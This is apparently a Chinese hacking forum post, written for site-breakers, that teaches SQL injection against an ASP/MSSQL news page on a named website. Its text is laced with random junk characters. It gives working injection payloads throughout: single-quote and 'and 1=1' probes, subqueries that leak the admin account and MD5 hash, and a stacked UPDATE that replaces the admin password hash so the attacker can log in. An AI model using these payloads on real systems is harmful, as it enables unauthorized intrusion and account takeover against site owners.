经常拿站的黑阔们一定经常碰到,某个网站有注入,管理员帐号和密码多暴出来了。
/ X. Q. f1 W6 r# s } F3 J可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办?直接修改管理员密码的MD5值。然后进后台!(当然是有条件的。MSSQL)+ Q6 b& [7 r- P& ^5 G8 E) z+ Y
测试如下:
/ f4 t$ j2 V( u2 O0 c$ ~http://www.tmdsb.com/news.asp?id=121# ^, Q: H, ~7 [1 a3 J# K% i
在地址后输入单引号,显示
4 C( v* @( a' n" NMicrosoft OLE DB Provider for SQL Server 错误 ’80040e14’
6 \0 Q8 ^& L& ^4 y0 S7 {字符串 ’’’ 之前有未闭合的引号
" P: e* P7 g" j: T* V, X2 P/news/tmdws.asp,行63
; R+ M5 x0 Z) u# o- S) W1 j说明没有过滤单引号且数据库是MSSQL.2 p: D& h+ K( t) i5 w9 \
and 1=1正常。and 1=2出错。肯定存在注入& B* Q0 Q6 _! Q- y" X( F
接着输入' W4 [7 i3 u$ c7 r$ Q" C" A' F
http://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)
+ t* H: _! b Y/ R( f得到帐号为:admin
: F: k, C; V( G* H6 Jhttp://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin)2 J" V" K9 `* e i6 a+ i
得到密码为:a4716077c2ba075c
9 h, B5 e+ F- t, O8 O/ { |. b接下来我们就可以改密码了。但我们先前要知道我们加密的字符:e8dc763194f294337 F* A% ^7 `8 g/ n# r; A/ L
命令如下 :6 h' D$ t# z I2 |* R" W. H
;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–
+ y7 V! M" y2 S2 h* S; `这句的意思就是用e8dc763194f29433替换a4716077c2ba075c,以达到修改密码的目的 |